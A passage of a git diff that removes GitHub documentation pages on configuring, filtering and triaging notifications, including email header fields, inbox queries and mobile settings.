[AUTOTITLE](/account-and-profile/managing-subscriptions-and-notifications-on-github/managing-subscriptions-for-activity-on-github/managing-your-subscriptions). - -### Default subscriptions - -In general, you are automatically subscribed to conversations by default when you have: -* Not disabled automatic watching for repositories or teams you've joined in your notification settings. This setting is enabled by default. -* Been assigned to an issue or pull request. -* Opened a pull request{% ifversion team-discussions %}, issue, or created a team discussion post{% else %} or issue{% endif %}. -* Commented on a thread. -* Subscribed to a thread manually by clicking **Watch** or **Subscribe**. -* Had your username @mentioned. -* Changed the state of a thread, such as by closing an issue or merging a pull request. -* Had a team you're a member of @mentioned. - -By default, you also automatically watch all repositories that you create and are owned by your personal account. - -To unsubscribe from conversations you're automatically subscribed to, you can change your notification settings or directly unsubscribe or unwatch activity on {% data variables.product.prodname_dotcom %}. For more information, see [AUTOTITLE](/account-and-profile/managing-subscriptions-and-notifications-on-github/managing-subscriptions-for-activity-on-github/managing-your-subscriptions). - -## Customizing notifications and subscriptions - -You can choose to view your notifications through the notifications inbox at [https://github.com/notifications](https://github.com/notifications) and in the {% data variables.product.prodname_mobile %} app, through your email, or some combination of these options. - -To customize the types of updates you'd like to receive and where to send those updates, configure your notification settings. For more information, see [AUTOTITLE](/account-and-profile/managing-subscriptions-and-notifications-on-github/setting-up-notifications/configuring-notifications). - -To keep your subscriptions manageable, review your subscriptions and watched repositories and unsubscribe as needed. For more information, see [AUTOTITLE](/account-and-profile/managing-subscriptions-and-notifications-on-github/managing-subscriptions-for-activity-on-github). - -To customize how you'd like to receive updates for specific pull requests or issues, you can configure your preferences within the issue or pull request. For more information, see [AUTOTITLE](/account-and-profile/managing-subscriptions-and-notifications-on-github/viewing-and-triaging-notifications/triaging-a-single-notification#customizing-when-to-receive-future-updates-for-an-issue-or-pull-request). - -You can customize and schedule push notifications in the {% data variables.product.prodname_mobile %} app. For more information, see [AUTOTITLE](/account-and-profile/managing-subscriptions-and-notifications-on-github/setting-up-notifications/configuring-notifications#managing-your-notification-settings-with-github-mobile). - -## Reasons for receiving notifications - -Your inbox is configured with default filters, which represent the most common reasons that people need to follow-up on their notifications. For more information about inbox filters, see [AUTOTITLE](/account-and-profile/managing-subscriptions-and-notifications-on-github/viewing-and-triaging-notifications/managing-notifications-from-your-inbox#default-notification-filters). - -Your inbox shows the `reason` you're receiving a notification as a label, such as, `mention`, `subscribed`, or `review requested`. - -You can filter your inbox by the reason you're subscribed to notifications. For example, to only see pull requests where someone requested your review, you can use the `reason:review-requested` query filter. - -If you've configured notifications to be sent by email and believe you're receiving notifications that don't belong to you, consider troubleshooting with email headers, which show the intended recipient. For more information, see [AUTOTITLE](/account-and-profile/managing-subscriptions-and-notifications-on-github/setting-up-notifications/configuring-notifications#filtering-email-notifications). - -## Triaging notifications from your inbox - -To effectively manage your notifications, you can triage your inbox with options to: -* Remove a notification from the inbox with **Done**. You can review **Done** notifications all in one place by clicking **Done** in the sidebar or by using the query `is:done`. -* Mark a notification as read or unread. -* **Save** a notification for later review. **Saved** notifications are flagged in your inbox. You can review **Saved** notifications all in one place in the sidebar by clicking **Saved** or by using the query `is:saved`. -* Automatically unsubscribe from this notification and future updates from this conversation. Unsubscribing also removes the notification from your inbox. If you unsubscribe from a conversation and someone mentions your username or a team you're on that you're receiving updates for, then you will start to receive notifications from this conversation again. - -From your inbox you can also triage multiple notifications at once. For more information, see [AUTOTITLE](/account-and-profile/managing-subscriptions-and-notifications-on-github/viewing-and-triaging-notifications/managing-notifications-from-your-inbox#triaging-multiple-notifications-at-the-same-time). - -## Customizing your notifications inbox - -To focus on a group of notifications in your inbox, you can create custom filters. For example, you can create a custom filter for an open source project you contribute to and only see notifications for that repository in which you are mentioned. For more information, see [AUTOTITLE](/account-and-profile/managing-subscriptions-and-notifications-on-github/viewing-and-triaging-notifications/managing-notifications-from-your-inbox). For more examples of how to customize your triaging workflow, see [AUTOTITLE](/account-and-profile/managing-subscriptions-and-notifications-on-github/viewing-and-triaging-notifications/customizing-a-workflow-for-triaging-your-notifications). - -## Notification retention policy - -Notifications that are not marked as **Saved** are kept for 5 months. Notifications marked as **Saved** are kept indefinitely. If your saved notification is older than 5 months and you unsave it, the notification will disappear from your inbox within a day. - -## Feedback and support - -If you have feedback or feature requests for notifications, use a [{% data variables.product.prodname_github_community %} discussion](https://github.com/orgs/community/discussions/categories/general). diff --git a/content/account-and-profile/managing-subscriptions-and-notifications-on-github/setting-up-notifications/configuring-notifications.md b/content/account-and-profile/managing-subscriptions-and-notifications-on-github/setting-up-notifications/configuring-notifications.md deleted file mode 100644 index 42ec698c92d4..000000000000 --- a/content/account-and-profile/managing-subscriptions-and-notifications-on-github/setting-up-notifications/configuring-notifications.md +++ /dev/null @@ -1,293 +0,0 @@ ---- -title: Configuring notifications -intro: 'Choose the type of activity on {% data variables.product.prodname_dotcom %} that you want to receive notifications for and how you want these updates delivered.' -redirect_from: - - /articles/about-web-notifications - - /format-of-notification-emails - - /articles/configuring-notification-emails - - /articles/about-notification-emails - - /articles/about-email-notifications - - /articles/accessing-your-notifications - - /articles/configuring-notification-delivery-methods - - /articles/managing-notification-delivery-methods - - /articles/managing-notification-emails-for-organizations - - /articles/choosing-the-delivery-method-for-your-notifications - - /articles/choosing-the-types-of-notifications-you-receive - - /github/managing-subscriptions-and-notifications-on-github/configuring-notifications - - /github/managing-subscriptions-and-notifications-on-github/setting-up-notifications/configuring-notifications -versions: - fpt: '*' - ghes: '*' - ghec: '*' -topics: - - Notifications ---- - -## Notification delivery options - -You can receive notifications for activity on {% data variables.product.prodname_dotcom %} in the following locations. - -* The notifications inbox in the {% data variables.product.prodname_dotcom %} web interface -* The notifications inbox on {% data variables.product.prodname_mobile %}, which syncs with the inbox in the web interface -* An email client that uses a verified email address, which can also sync with the notifications inbox in the web interface and {% data variables.product.prodname_mobile %} - -{% data reusables.notifications-v2.notifications-inbox-required-setting %} For more information, see [Choosing your notification settings](#choosing-your-notification-settings). - -{% data reusables.notifications.shared_state %} - -### Benefits of the notifications inbox - -The notifications inbox includes triaging options designed specifically for your {% data variables.product.prodname_dotcom %} notifications flow, including options to: -* Triage multiple notifications at once. -* Mark completed notifications as **Done** and remove them from your inbox. To view all of your notifications marked as **Done**, use the `is:done` query. -* Save a notification to review later. Saved notifications are flagged in your inbox and kept indefinitely. To view all of your saved notifications, use the `is:saved` query. -* Unsubscribe and remove a notification from your inbox. -* Preview the issue{% ifversion team-discussions %}, pull request, or team discussion{% else %} or pull request{% endif %} where the notification originates on {% data variables.product.prodname_dotcom %} from within the notifications inbox. -* See one of the latest reasons you're receiving a notification from your inbox with a `reasons` label. -* Create custom filters to focus on different notifications when you want. -* Group notifications in your inbox by repository or date to get a quick overview with less context switching. - -In addition, you can receive and triage notifications on your mobile device with {% data variables.product.prodname_mobile %}. For more information, see [Managing your notification settings with GitHub Mobile](#managing-your-notification-settings-with-github-mobile) or [AUTOTITLE](/get-started/using-github/github-mobile). - -### Benefits of using an email client for notifications - -One benefit of using an email client is that all of your notifications can be kept indefinitely depending on your email client's storage capacity. Your inbox notifications are only kept for 5 months on {% data variables.product.prodname_dotcom %} unless you've marked them as **Saved**. **Saved** notifications are kept indefinitely. For more information about your inbox's retention policy, see [AUTOTITLE](/account-and-profile/managing-subscriptions-and-notifications-on-github/setting-up-notifications/about-notifications#notification-retention-policy). - -Sending notifications to your email client also allows you to customize your inbox according to your email client's settings, which can include custom or color-coded labels. - -Email notifications also allow flexibility with the types of notifications you receive and allow you to choose different email addresses for updates. For example, you can send certain notifications for a repository to a verified personal email address. For more information, about your email customization options, see [Customizing your email notifications](#customizing-your-email-notifications). - -## About participating and watching notifications - -When you watch a repository, you're subscribing to updates for activity in that repository. {% ifversion team-discussions %}Similarly, when you watch a specific team's discussions, you're subscribing to all conversation updates on that team's page. For more information, see [AUTOTITLE](/organizations/collaborating-with-your-team/about-team-discussions).{% endif %} - -To see repositories that you're watching, go to your [watching page](https://github.com/watching). For more information, see [AUTOTITLE](/account-and-profile/managing-subscriptions-and-notifications-on-github/managing-subscriptions-for-activity-on-github). - -You can configure notifications for a repository on the repository page, or on your watching page. - -### About custom notifications - -You can customize notifications for a repository. For example, you can choose to only be notified when updates to one or more types of events ({% data reusables.notifications-v2.custom-notification-types %}) happen within a repository, or ignore all notifications for a repository. For more information, see [Configuring your watch settings for an individual repository](#configuring-your-watch-settings-for-an-individual-repository) below. - -### Participating in conversations - -Anytime you comment in a conversation or when someone @mentions your username, you are participating in a conversation. By default, you are automatically subscribed to a conversation when you participate in it. You can unsubscribe from a conversation you've participated in manually by clicking **Unsubscribe** on the issue or pull request or through the **Unsubscribe** option in the notifications inbox. - -{% ifversion update-notification-settings-22 %}For conversations you're watching or participating in, you can choose whether you want to receive notifications on {% data variables.product.company_short %} or by email in your notification settings. For more information, see [Choosing your notification settings](/account-and-profile/managing-subscriptions-and-notifications-on-github/setting-up-notifications/configuring-notifications#choosing-your-notification-settings). - -{% else %} - -For conversations you're watching or participating in, you can choose whether you want to receive notifications by email or through the notifications inbox. For more information, see [Choosing your notification settings](/account-and-profile/managing-subscriptions-and-notifications-on-github/setting-up-notifications/configuring-notifications#choosing-your-notification-settings). - -![Screenshot of the "Notification settings" page. "Participating" and "Watching" each have two checkbox options: "Email" and "Web and Mobile".](/assets/images/help/notifications-v2/participating-and-watching-options.png){% endif %} - -For example, on your "Notification settings" page: -* If you don't want notifications to be sent to your email, deselect **email** for participating and watching notifications. -* If you want to receive notifications by email when you've participated in a conversation, then select **email** under "Participating". - -{% ifversion update-notification-settings-22 %}If you do not enable "Notify me: On GitHub" for watching or participating notifications, then your notifications inbox will not have any updates. - -{% else %} - -If you do not enable watching or participating notifications for web{% ifversion ghes %} and mobile{% endif %}, then your notifications inbox will not have any updates.{% endif %} - -## Customizing your email notifications - -After enabling email notifications, {% data variables.product.prodname_dotcom %} will send notifications to you as multipart emails that contain both HTML and plain text copies of the content. Email notification content includes any Markdown, @mentions, emojis, hash-links, and more, that appear in the original content on {% data variables.product.prodname_dotcom %}. If you only want to see the text in the email, you can configure your email client to display the plain text copy only. - -{% data reusables.notifications.outbound_email_tip %} - -{% data reusables.notifications.shared_state %} - -{% ifversion fpt or ghec %} - -If you're using Gmail, you can click a button beside the notification email to visit the original issue or pull request that generated the notification. - -{% endif %} - -Choose a default email address where you want to send updates for conversations you're participating in or watching. You can also specify which activity on {% data variables.product.prodname_dotcom %} you want to receive updates for using your default email address. For example, choose whether you want updates sent to your default email from: -* Comments on issues and pull requests -* Pull request reviews -* Pull request pushes -* Your own updates, such as when you open, comment on, or close an issue or pull request - -Depending on the organization that owns the repository, you can also send notifications to different email addresses. Your organization may require the email address to be verified for a specific domain. For more information, see [AUTOTITLE](/account-and-profile/managing-subscriptions-and-notifications-on-github/setting-up-notifications/configuring-notifications#choosing-where-your-organizations-email-notifications-are-sent). - -You can also send notifications for a specific repository to an email address. For more information, see [AUTOTITLE](/repositories/managing-your-repositorys-settings-and-features/managing-repository-settings/about-email-notifications-for-pushes-to-your-repository). - -{% data reusables.notifications-v2.email-notification-caveats %} - -## Filtering email notifications - -Each email notification that {% data variables.product.prodname_dotcom %} sends contains header information. The header information in every email is consistent, so you can use it in your email client to filter or forward all {% data variables.product.prodname_dotcom %} notifications, or certain types of {% data variables.product.prodname_dotcom %} notifications. - -If you believe you're receiving notifications that don't belong to you, examine the `X-GitHub-Recipient` and `X-GitHub-Recipient-Address` headers. These headers show who the intended recipient is. Depending on your email setup, you may receive notifications intended for another user. - -Email notifications from {% data variables.product.prodname_dotcom %} contain header information. - -| Header | Information | -| --- | --- | -| `From` address | This address will always be {% ifversion fpt %}`notifications@github.com`{% elsif ghec %}`notifications@github.com` or `notifications@SUBDOMAIN.ghe.com`{% else %}the no-reply email address configured by your site administrator{% endif %}. | -| `To` field | This field connects directly to the thread. If you reply to the email, you'll add a new comment to the conversation. | -| `Cc` address | {% data variables.product.github %} will `Cc` you if you're subscribed to a conversation. The second `Cc` email address matches the notification reason. The suffix for these notification reasons is {% ifversion fpt %}`@noreply.github.com`{% elsif ghec %}`@noreply.github.com` or `@noreply.SUBDOMAIN.ghe.com`{% else %}based on the no-reply email address configured by your site administrator{% endif %}. The possible notification reasons are: <ul><li>`assign`: You were assigned to an issue or pull request.</li><li>`author`: You created an issue or pull request.</li><li>`ci_activity`: A {% data variables.product.prodname_actions %} workflow run that you triggered was completed.</li><li>`comment`: You commented on an issue or pull request.</li><li>`manual`: There was an update to an issue or pull request you manually subscribed to.</li><li>`mention`: You were mentioned on an issue or pull request.</li><li>`push`: Someone committed to a pull request you're subscribed to.</li><li>`review_requested`: You or a team you're a member of was requested to review a pull request.</li><li>`security_alert`: {% data variables.product.prodname_dotcom %} detected a vulnerability in a repository you receive alerts for.</li><li>`state_change`: An issue or pull request you're subscribed to was either closed or opened.</li><li>`subscribed`: There was an update in a repository you're watching.</li><li>`team_mention`: A team you belong to was mentioned on an issue or pull request.</li><li>`your_activity`: You opened, commented on, or closed an issue or pull request.</li></ul> | -| `List-Id` field | This field identifies the name of the repository and its owner. The format of this address is always `OWNER/REPOSITORY <REPOSITORY.OWNER>`, e.g. `List-Id: grain-lang/grain <grain.grain-lang.{% data variables.product.product_url %}>`. | -| `X-GitHub-Severity` field | {% data reusables.repositories.security-alerts-x-github-severity %} The possible severity levels are:<ul><li>`low`</li><li>`moderate`</li><li>`high`</li><li>`critical`</li></ul>For more information, see [AUTOTITLE](/code-security/dependabot/dependabot-alerts/about-dependabot-alerts). | - -## Replying to email notifications - -You can reply to email notifications from {% data variables.product.github %} and your reply will be posted to the issue, pull request, or discussion. - -The `reply-to` address on each email notification identifies the thread and the account that the comment will be posted from. This email address remains valid until you reset your password. - -{% data variables.product.github %} will not always include the full email contents and will attempt to strip some personally identifiable information from comments created via an email reply: - -* Email addresses in a standard format, such as `octocat@github.com`, are transformed to `***@***.***`. -* Signatures and quoted reply chains, when the email client has used a `>` to mark those sections, are stripped. -* While the unsubscribe link from your email notification is sometimes quoted, the link will only work when signed in to your account. -* Email attachments are not included in the resulting comment. -* The maximum length of a comment created via an email reply is 65530 characters. - -## Choosing your notification settings - -{% data reusables.notifications.access_notifications %} -{% data reusables.notifications-v2.manage-notifications %} -1. On the notifications settings page, choose how you receive notifications when: - * There are updates in repositories {% ifversion team-discussions %}or team discussions{% endif %} you're watching or in a conversation you're participating in. For more information, see [About participating and watching notifications](#about-participating-and-watching-notifications). - * You gain access to a new repository or you've joined a new team. For more information, see [Automatic watching](#automatic-watching). - * There are new {% data variables.product.prodname_dependabot_alerts %} in your repository. For more information, see [{% data variables.product.prodname_dependabot_alerts %} notification options](#dependabot-alerts-notification-options). {% ifversion fpt or ghec %} - * There are workflow runs updates on repositories set up with {% data variables.product.prodname_actions %}. For more information, see [{% data variables.product.prodname_actions %} notification options](#github-actions-notification-options).{% endif %} - * There are new deploy keys added to repositories that belong to organizations that you're an owner of. For more information, see [Organization alerts notification options](#organization-alerts-notification-options). - -## Automatic watching - -By default, anytime you gain access to a new repository, you will automatically begin watching that repository. Anytime you join a new team, you will automatically be subscribed to updates and receive notifications when that team is @mentioned. If you don't want to automatically be subscribed, you can unselect the automatic watching options in your notification settings. - -{% ifversion update-notification-settings-22 %} -![Screenshot of the toggles for "Automatically watch repositories" and "Automatically watch teams".](/assets/images/help/notifications-v2/automatically-watch-repos-and-teams.png) -{% else %} -![Screenshot of "Automatic watching" options for teams and repositories.](/assets/images/help/notifications-v2/automatic-watching-options.png){% endif %} - -If "Automatically watch repositories" is disabled, then you will not automatically watch your own repositories. You must navigate to your repository page and choose the watch option. - -For more information, see [AUTOTITLE](/account-and-profile/managing-subscriptions-and-notifications-on-github/setting-up-notifications/configuring-notifications#choosing-your-notification-settings). - -## Configuring your watch settings for an individual repository - -You can choose whether to watch or unwatch an individual repository. You can also choose to only be notified of certain event types such as {% data reusables.notifications-v2.custom-notification-types %} (if enabled for the repository), or completely ignore an individual repository. - -{% data reusables.repositories.navigate-to-repo %} -1. In the upper-right corner, select the "Watch" drop-down menu, then click a watch option. - - If you want to further customize notifications, click **Custom**, then select specific events that you want to be notified of, such as Issues or Pull Requests, in addition to participating and @mentions. - - For example, if you select "Issues", you will be notified about, and subscribed to, updates on every issue (including those that existed prior to you selecting this option) in the repository. If you're @mentioned in a pull request in this repository, you'll receive notifications for that too, and you'll be subscribed to updates on that specific pull request, in addition to being notified about issues. - -## Choosing where your organization’s email notifications are sent - -If you belong to an organization, you can choose the email account you want notifications for organization activity sent to. For example, if you belong to an organization for work, you may want your notifications sent to your work email address, rather than your personal address. - -{% data reusables.notifications-v2.email-notification-caveats %} - -{% data reusables.notifications.access_notifications %} -{% data reusables.notifications-v2.manage-notifications %} -1. Under "Default notifications email", select the email address you'd like notifications sent to. -{% ifversion ghes %} -1. Click **Save**.{% endif %} - -### Customizing email routes per organization - -If you are a member of more than one organization, you can configure each one to send notifications to any of{% ifversion fpt or ghec %} your verified email addresses{% else %} the email addresses for your account{% endif %}. {% ifversion fpt or ghec %} For more information, see [AUTOTITLE](/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-email-preferences/verifying-your-email-address).{% endif %} - -{% data reusables.notifications.access_notifications %} -{% data reusables.notifications-v2.manage-notifications %} -{% ifversion update-notification-settings-22 %} -1. Under "Default notifications email", click **Custom routing**. - - ![Screenshot of the "Default notifications email" section. A button, titled "Custom routing", is highlighted with an orange outline.](/assets/images/help/notifications/custom-router-emphasized.png) - -1. Click **Add new route**. - -1. Select the **Pick organization** dropdown, then click the organization you want to customize. -1. Select one of your verified email addresses, then click **Save**. - - ![Screenshot of the "Custom Routing" page. A dropdown menu, showing a user's available email addresses, is highlighted with an orange outline.](/assets/images/help/notifications/select-email-address-custom-routing-and-save.png) -{% else %} -1. Under "Custom routing," find your organization's name in the list. - -1. Click **Edit** next to the email address you want to change. - -1. Select one of your verified email addresses, then click **Save**. - -{% endif %} - -## {% data variables.product.prodname_dependabot_alerts %} notification options - -The notification options for your user account are available at [https://github.com/settings/notifications](https://github.com/settings/notifications). You can configure notification settings for each repository, in the repository watch settings. - -{% data reusables.notifications.vulnerable-dependency-notification-enable %} -{% data reusables.notifications.vulnerable-dependency-notification-delivery-method-customization2 %} -{% data reusables.notifications.vulnerable-dependency-notification-options %} - -For more information about the notification delivery methods available to you, and advice on optimizing your notifications for {% data variables.product.prodname_dependabot_alerts %}, see [AUTOTITLE](/code-security/dependabot/dependabot-alerts/configuring-notifications-for-dependabot-alerts). - -## {% data variables.product.prodname_secret_scanning_caps %} notification options - -{% data reusables.secret-scanning.secret-scanning-configure-notifications %} - -For more information on how to configure notifications for {% data variables.secret-scanning.alerts %}, see [AUTOTITLE](/code-security/secret-scanning/managing-alerts-from-secret-scanning/monitoring-alerts). - -## {% data variables.product.prodname_actions %} notification options - -For repositories that are set up with {% data variables.product.prodname_actions %} and that you are watching, you can choose how you want to receive workflow run updates. - -{% ifversion update-notification-settings-22 %} -1. On the "Notification settings" page, under "System", then under "Actions", select the **Don't notify** dropdown menu. - - ![Screenshot of the "System" section of the notification settings. Under "Actions," a dropdown menu, titled "Don't notify", is outlined in orange.](/assets/images/help/notifications/github-actions-customize-notifications.png) -1. To opt into web notifications, from the dropdown menu, select "On {% data variables.product.prodname_dotcom %}." - - To opt into email notifications, from the dropdown menu, select "Email." -1. Optionally, to only receive notifications for failed workflow runs, from the dropdown menu, select "Only notify for failed workflows", then click **Save**.{% endif %} - -{% ifversion ghes %} -On the "Notification settings" page, select "Email" or "Web" notifications. Optionally, to only receive notifications for failed workflow runs, select "Send notifications for failed workflows only". - -![Screenshot of the "Actions" section of "Notification settings" with checkboxes: "Email", "Web", and "Send notifications for failed workflows only."](/assets/images/help/notifications-v2/github-actions-notification-options.png){% endif %} - -## Organization alerts notification options - -If you're an organization owner, you'll receive email notifications by default when organization members add new deploy keys to repositories within the organization. You can unsubscribe from these notifications. On the notification settings page, under "Organization alerts", deselect **Email**. - -## Managing your notification settings with {% data variables.product.prodname_mobile %} - -When you install {% data variables.product.prodname_mobile %}, you will automatically be opted into web notifications. Within the app, you can enable push notifications for the following events. -* Direct mentions -* Assignments to issues or pull requests -* Requests to review a pull request -* Requests to approve a deployment - -You can also schedule when {% data variables.product.prodname_mobile %} will send push notifications to your mobile device. - -{% data reusables.mobile.push-notifications-on-ghes %} - -### Managing your notification settings with {% data variables.product.prodname_ios %} - -1. In the bottom menu, tap **Profile**. -1. To view your settings, tap {% octicon "gear" aria-label="The Gear icon" %}. -1. To update your notification settings, tap **Notifications** and then use the toggles to enable or disable your preferred types of push notifications. -1. Optionally, to schedule when {% data variables.product.prodname_mobile %} will send push notifications to your mobile device, tap **Working Hours**, use the **Custom working hours** toggle, and then choose when you would like to receive push notifications. - -### Managing your notification settings with {% data variables.product.prodname_android %} - -1. In the bottom menu, tap **Profile**. -1. To view your settings, tap {% octicon "gear" aria-label="The Gear icon" %}. -1. To update your notification settings, tap **Configure Notifications** and then use the toggles to enable or disable your preferred types of push notifications. -1. Optionally, to schedule when {% data variables.product.prodname_mobile %} will send push notifications to your mobile device, tap **Working Hours**, use the **Custom working hours** toggle, and then choose when you would like to receive push notifications. - -## Configuring your watch settings for an individual repository with {% data variables.product.prodname_mobile %} - -You can choose whether to watch or unwatch an individual repository. You can also choose to only be notified of {% ifversion fpt or ghec %}certain event types such as issues, pull requests, discussions (if enabled for the repository) and {% endif %}new releases, or completely ignore an individual repository. - -1. On {% data variables.product.prodname_mobile %}, navigate to the main page of the repository. -1. Tap **Watch**. -1. To choose what activities you receive notifications for, tap your preferred watch settings. For example, choose to only be notified when you are participating or @mentioned, or use the "Custom" option to select specific events that you want to be notified of. diff --git a/content/account-and-profile/managing-subscriptions-and-notifications-on-github/setting-up-notifications/index.md b/content/account-and-profile/managing-subscriptions-and-notifications-on-github/setting-up-notifications/index.md deleted file mode 100644 index 0b721155af90..000000000000 --- a/content/account-and-profile/managing-subscriptions-and-notifications-on-github/setting-up-notifications/index.md +++ /dev/null @@ -1,17 +0,0 @@ ---- -title: Setting up notifications -intro: 'To improve the relevance of your notifications and simplify your triaging workflow, set up your notifications to match your priorities.' -redirect_from: - - /articles/getting-started-with-notifications - - /github/managing-subscriptions-and-notifications-on-github/setting-up-notifications -versions: - fpt: '*' - ghes: '*' - ghec: '*' -topics: - - Notifications -children: - - /about-notifications - - /configuring-notifications ---- - diff --git a/content/account-and-profile/managing-subscriptions-and-notifications-on-github/viewing-and-triaging-notifications/customizing-a-workflow-for-triaging-your-notifications.md b/content/account-and-profile/managing-subscriptions-and-notifications-on-github/viewing-and-triaging-notifications/customizing-a-workflow-for-triaging-your-notifications.md deleted file mode 100644 index e2987bee5c37..000000000000 --- a/content/account-and-profile/managing-subscriptions-and-notifications-on-github/viewing-and-triaging-notifications/customizing-a-workflow-for-triaging-your-notifications.md +++ /dev/null @@ -1,67 +0,0 @@ ---- -title: Customizing a workflow for triaging your notifications -intro: 'To create an ideal workflow for triaging your notifications, you can adapt and customize these example workflows.' -versions: - fpt: '*' - ghes: '*' - ghec: '*' -topics: - - Notifications -redirect_from: - - /github/managing-subscriptions-and-notifications-on-github/customizing-a-workflow-for-triaging-your-notifications - - /github/managing-subscriptions-and-notifications-on-github/viewing-and-triaging-notifications/customizing-a-workflow-for-triaging-your-notifications -shortTitle: Triage your notifications ---- -## Starting your inbox triage - -Before you start triaging your inbox, consider whether you prefer to first find and respond to the most important updates or to clear your inbox of distracting updates that are easy to remove or triage. - -You may decide to use a combination of both approaches at various times depending on the volume of notifications you have. - -For an example workflow of finding and responding to the most important notifications, see [Checking your highest notification priorities](#checking-your-highest-notification-priorities). - -For an example workflow of removing notifications that are easy to remove or triage, see [Clearing your least important notifications](#clearing-your-least-important-notifications). - -## Checking your highest notification priorities - -Choose which type of notifications are most urgent to review and pick a time to review them that's best for you. You might consider the question "Who am I blocking?" - -For example, you may decide to check your notifications in this order in the morning during your daily planning time: -* Pull requests where your review is requested (filter by `reason:review-requested`) -* Events where your username is @mentioned, also called direct mentions (filter by `reason:mention`) -* Events where a team you're a member of is @mentioned, also called team mentions (filter by `reason:team-mention`) -* CI workflow failures for a specific repository (filter by `reason:ci-activity` and `repo:owner/repo-name` and ensure you've enabled CI activity notifications for workflow failures in your notification settings) - - > [!TIP] - > To quickly review your highest priorities, set up custom filters in order of their reviewing priority. For more information, see [AUTOTITLE](/account-and-profile/managing-subscriptions-and-notifications-on-github/viewing-and-triaging-notifications/managing-notifications-from-your-inbox#customizing-your-inbox-with-custom-filters). - -## Following up on ongoing notification updates - -To follow-up on notifications, you might consider the question "What was I blocked on that I'm no longer blocked on?" Choose your follow-up notification priorities. - -For example, you may decide to follow up in this order: -* Issues and pull requests you're assigned to. Immediately close any issues or pull requests you can and add updates. As needed, save notifications to review later. -* Review notifications in the saved inbox, especially unread updates. If the thread is no longer relevant, click {% octicon "bookmark-slash" aria-label="Unsave" %} to remove the notification from the saved inbox and unsave it. - -## Managing lower-priority notifications - -After triaging the higher priority notifications, review the remaining notifications, such as participating notifications. Consider these questions: -* Can you unsubscribe to this notification? Is this notification completed and ready to be marked as **Done**? - - > [!TIP] - > When you unsubscribe from a notification you won't receive new updates unless you start participating in the thread or you're @mentioned or a team you're on is @mentioned. When you mark a notification as **Done**, the notification is removed from your main inbox view and can be viewed with the query `is:read`. For more information, see [AUTOTITLE](/account-and-profile/managing-subscriptions-and-notifications-on-github/viewing-and-triaging-notifications/managing-notifications-from-your-inbox#triaging-options). - -* Would you like to receive future updates when this issue or pull request is closed or reopened, or when a pull request is merged? For more information on these options, see [AUTOTITLE](/account-and-profile/managing-subscriptions-and-notifications-on-github/viewing-and-triaging-notifications/triaging-a-single-notification#customizing-when-to-receive-future-updates-for-an-issue-or-pull-request). -* Would you like to avoid receiving notifications like this in the future? If so, consider unsubscribing. For more information, see [AUTOTITLE](/account-and-profile/managing-subscriptions-and-notifications-on-github/managing-subscriptions-for-activity-on-github). - -## Clearing your least important notifications - -Choose which type of notifications are quickest and easiest for you to triage and remove from your inbox, ideally triaging multiple notifications at once. - -For example, you may decide to clear notifications in this order: -* Participating notifications that you can unsubscribe to -* Repository updates that are not relevant to keep or follow-up on - -For more information on managing multiple notifications in your inbox at the same time, see [AUTOTITLE](/account-and-profile/managing-subscriptions-and-notifications-on-github/viewing-and-triaging-notifications/managing-notifications-from-your-inbox#triaging-multiple-notifications-at-the-same-time). - -You may also consider changing your notification settings or unsubscribing from these updates if possible. For more information, see [AUTOTITLE](/account-and-profile/managing-subscriptions-and-notifications-on-github/setting-up-notifications/configuring-notifications) or [AUTOTITLE](/account-and-profile/managing-subscriptions-and-notifications-on-github/managing-subscriptions-for-activity-on-github). diff --git a/content/account-and-profile/managing-subscriptions-and-notifications-on-github/viewing-and-triaging-notifications/index.md b/content/account-and-profile/managing-subscriptions-and-notifications-on-github/viewing-and-triaging-notifications/index.md deleted file mode 100644 index dfef6a9d2ed6..000000000000 --- a/content/account-and-profile/managing-subscriptions-and-notifications-on-github/viewing-and-triaging-notifications/index.md +++ /dev/null @@ -1,20 +0,0 @@ ---- -title: Viewing and triaging notifications -intro: 'To optimize your notifications workflow, you can customize how you view and triage notifications.' -redirect_from: - - /articles/managing-notifications - - /articles/managing-your-notifications - - /github/managing-subscriptions-and-notifications-on-github/viewing-and-triaging-notifications -versions: - fpt: '*' - ghes: '*' - ghec: '*' -topics: - - Notifications -children: - - /managing-notifications-from-your-inbox - - /triaging-a-single-notification - - /customizing-a-workflow-for-triaging-your-notifications -shortTitle: Customize a workflow ---- - diff --git a/content/account-and-profile/managing-subscriptions-and-notifications-on-github/viewing-and-triaging-notifications/managing-notifications-from-your-inbox.md b/content/account-and-profile/managing-subscriptions-and-notifications-on-github/viewing-and-triaging-notifications/managing-notifications-from-your-inbox.md deleted file mode 100644 index 173427e3a8c4..000000000000 --- a/content/account-and-profile/managing-subscriptions-and-notifications-on-github/viewing-and-triaging-notifications/managing-notifications-from-your-inbox.md +++ /dev/null @@ -1,157 +0,0 @@ ---- -title: Managing notifications from your inbox -intro: 'Use your inbox to quickly triage and sync your notifications across email and mobile.' -redirect_from: - - /articles/marking-notifications-as-read - - /articles/saving-notifications-for-later - - /github/managing-subscriptions-and-notifications-on-github/managing-notifications-from-your-inbox - - /github/managing-subscriptions-and-notifications-on-github/viewing-and-triaging-notifications/managing-notifications-from-your-inbox -versions: - fpt: '*' - ghes: '*' - ghec: '*' -topics: - - Notifications -shortTitle: Manage from your inbox ---- - -## About your inbox - -{% data reusables.notifications-v2.notifications-inbox-required-setting %} For more information, see [AUTOTITLE](/account-and-profile/managing-subscriptions-and-notifications-on-github/setting-up-notifications/configuring-notifications#choosing-your-notification-settings). - -To access your notifications inbox, in the upper-right corner of any page, click {% octicon "inbox" aria-label="The notifications inbox" %}. - -Your inbox shows all of the notifications that you haven't unsubscribed to or marked as **Done.** You can customize your inbox to best suit your workflow using filters, viewing all or just unread notifications, and grouping your notifications to get a quick overview. - -By default, your inbox will show read and unread notifications. To only see unread notifications, click **Unread** or use the `is:unread` query. - -## Triaging options - -You have several options for triaging notifications from your inbox. - -| Triaging option | Description | -|-----------------|-------------| -| Save | Saves your notification for later review. To save a notification, to the right of the notification, click {% octicon "bookmark" aria-label="Save" %}. <br> <br> Saved notifications are kept indefinitely and can be viewed by clicking **Saved** in the sidebar or with the `is:saved` query. If your saved notification is older than 5 months and becomes unsaved, the notification will disappear from your inbox within a day. | -| Done | Marks a notification as completed and removes the notification from your inbox. You can see all completed notifications by clicking **Done** in the sidebar or with the `is:done` query. Notifications marked as **Done** are saved for 5 months. -| Unsubscribe | Automatically removes the notification from your inbox and unsubscribes you from the conversation until you are @mentioned, a team you're on is @mentioned, or you're requested for review. -| Read | Marks a notification as read. To only view read notifications in your inbox, use the 